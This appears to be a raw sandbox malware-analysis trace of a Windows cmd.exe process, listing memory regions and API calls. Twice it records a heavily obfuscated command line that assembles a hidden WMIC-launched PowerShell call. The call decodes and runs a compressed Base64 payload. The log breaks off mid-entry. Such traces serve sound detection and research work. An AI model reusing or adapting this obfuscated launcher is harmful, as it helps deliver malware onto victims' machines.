start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 684 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 685 start_va = 0x430000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 686 start_va = 0x440000 end_va = 0x5c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 687 start_va = 0x5d0000 end_va = 0x750fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 688 start_va = 0x760000 end_va = 0x1b5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 689 start_va = 0x1b60000 end_va = 0x1ea2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b60000" filename = "" Region: id = 690 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 691 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 965 start_va = 0x1eb0000 end_va = 0x217efff entry_point = 0x1eb0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 41 os_tid = 0xac4 [0084.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fcd0 | out: lpSystemTimeAsFileTime=0x16fcd0*(dwLowDateTime=0x245400c0, dwHighDateTime=0x1d471c5)) [0084.582] GetCurrentProcessId () returned 0xac0 [0084.582] GetCurrentThreadId () returned 0xac4 [0084.582] GetTickCount () returned 0x21257 [0084.582] QueryPerformanceCounter (in: lpPerformanceCount=0x16fcd8 | out: lpPerformanceCount=0x16fcd8*=1814297400000) returned 1 [0084.583] GetModuleHandleW (lpModuleName=0x0) returned 0x49d50000 [0084.583] __set_app_type (_Type=0x1) [0084.583] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49d77810) returned 0x0 [0084.584] __getmainargs (in: _Argc=0x49d9a608, _Argv=0x49d9a618, _Env=0x49d9a610, _DoWildCard=0, _StartInfo=0x49d7e0f4 | out: _Argc=0x49d9a608, _Argv=0x49d9a618, _Env=0x49d9a610) returned 0 [0084.585] GetCurrentThreadId () returned 0xac4 [0084.585] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xac4) returned 0x3c [0084.585] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0084.585] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0084.585] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0084.759] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0084.760] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16fc68 | out: phkResult=0x16fc68*=0x0) returned 0x2 [0084.760] VirtualQuery (in: lpAddress=0x16fc50, lpBuffer=0x16fbd0, dwLength=0x30 | out: lpBuffer=0x16fbd0*(BaseAddress=0x16f000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0084.760] VirtualQuery (in: lpAddress=0x70000, lpBuffer=0x16fbd0, dwLength=0x30 | out: lpBuffer=0x16fbd0*(BaseAddress=0x70000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0084.760] VirtualQuery (in: lpAddress=0x71000, lpBuffer=0x16fbd0, dwLength=0x30 | out: lpBuffer=0x16fbd0*(BaseAddress=0x71000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0084.760] VirtualQuery (in: lpAddress=0x74000, lpBuffer=0x16fbd0, dwLength=0x30 | out: lpBuffer=0x16fbd0*(BaseAddress=0x74000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0084.760] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x16fbd0, dwLength=0x30 | out: lpBuffer=0x16fbd0*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0084.760] GetConsoleOutputCP () returned 0x1b5 [0084.760] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d8bfe0 | out: lpCPInfo=0x49d8bfe0) returned 1 [0084.760] SetConsoleCtrlHandler (HandlerRoutine=0x49d73184, Add=1) returned 1 [0084.760] _get_osfhandle (_FileHandle=1) returned 0x7 [0084.760] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0084.761] _get_osfhandle (_FileHandle=1) returned 0x7 [0084.761] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49d7e194 | out: lpMode=0x49d7e194) returned 1 [0084.761] _get_osfhandle (_FileHandle=1) returned 0x7 [0084.761] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0084.761] _get_osfhandle (_FileHandle=0) returned 0x3 [0084.761] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49d7e198 | out: lpMode=0x49d7e198) returned 1 [0084.761] _get_osfhandle (_FileHandle=0) returned 0x3 [0084.761] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0084.762] GetEnvironmentStringsW () returned 0x19cc20* [0084.763] FreeEnvironmentStringsW (penv=0x19cc20) returned 1 [0084.763] GetEnvironmentStringsW () returned 0x19cc20* [0084.763] FreeEnvironmentStringsW (penv=0x19cc20) returned 1 [0084.763] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16eb28 | out: phkResult=0x16eb28*=0x44) returned 0x0 [0084.763] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x0, lpData=0x16eb40*=0x18, lpcbData=0x16eb24*=0x1000) returned 0x2 [0084.763] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x4, lpData=0x16eb40*=0x1, lpcbData=0x16eb24*=0x4) returned 0x0 [0084.763] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x0, lpData=0x16eb40*=0x1, lpcbData=0x16eb24*=0x1000) returned 0x2 [0084.763] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x4, lpData=0x16eb40*=0x0, lpcbData=0x16eb24*=0x4) returned 0x0 [0084.763] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x4, lpData=0x16eb40*=0x40, lpcbData=0x16eb24*=0x4) returned 0x0 [0084.763] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x4, lpData=0x16eb40*=0x40, lpcbData=0x16eb24*=0x4) returned 0x0 [0084.763] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x0, lpData=0x16eb40*=0x40, lpcbData=0x16eb24*=0x1000) returned 0x2 [0084.763] RegCloseKey (hKey=0x44) returned 0x0 [0084.763] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16eb28 | out: phkResult=0x16eb28*=0x44) returned 0x0 [0084.763] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x0, lpData=0x16eb40*=0x40, lpcbData=0x16eb24*=0x1000) returned 0x2 [0084.764] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x4, lpData=0x16eb40*=0x1, lpcbData=0x16eb24*=0x4) returned 0x0 [0084.764] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x0, lpData=0x16eb40*=0x1, lpcbData=0x16eb24*=0x1000) returned 0x2 [0084.764] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x4, lpData=0x16eb40*=0x0, lpcbData=0x16eb24*=0x4) returned 0x0 [0084.764] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x4, lpData=0x16eb40*=0x9, lpcbData=0x16eb24*=0x4) returned 0x0 [0084.764] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x4, lpData=0x16eb40*=0x9, lpcbData=0x16eb24*=0x4) returned 0x0 [0084.764] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16eb20, lpData=0x16eb40, lpcbData=0x16eb24*=0x1000 | out: lpType=0x16eb20*=0x0, lpData=0x16eb40*=0x9, lpcbData=0x16eb24*=0x1000) returned 0x2 [0084.764] RegCloseKey (hKey=0x44) returned 0x0 [0084.764] time (in: timer=0x0 | out: timer=0x0) returned 0x5bdac70f [0084.764] srand (_Seed=0x5bdac70f) [0084.764] GetCommandLineW () returned="cmd /c C%PrOGRaMFIlES:~ -7,1%D, , /V:On ,,/%aPPdAta:~-7,1% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%" [0084.764] GetCommandLineW () returned="cmd /c C%PrOGRaMFIlES:~ -7,1%D, , /V:On ,,/%aPPdAta:~-7,1% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%" [0084.765] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d8c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0084.765] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19ed90, nSize=0x104 | out: 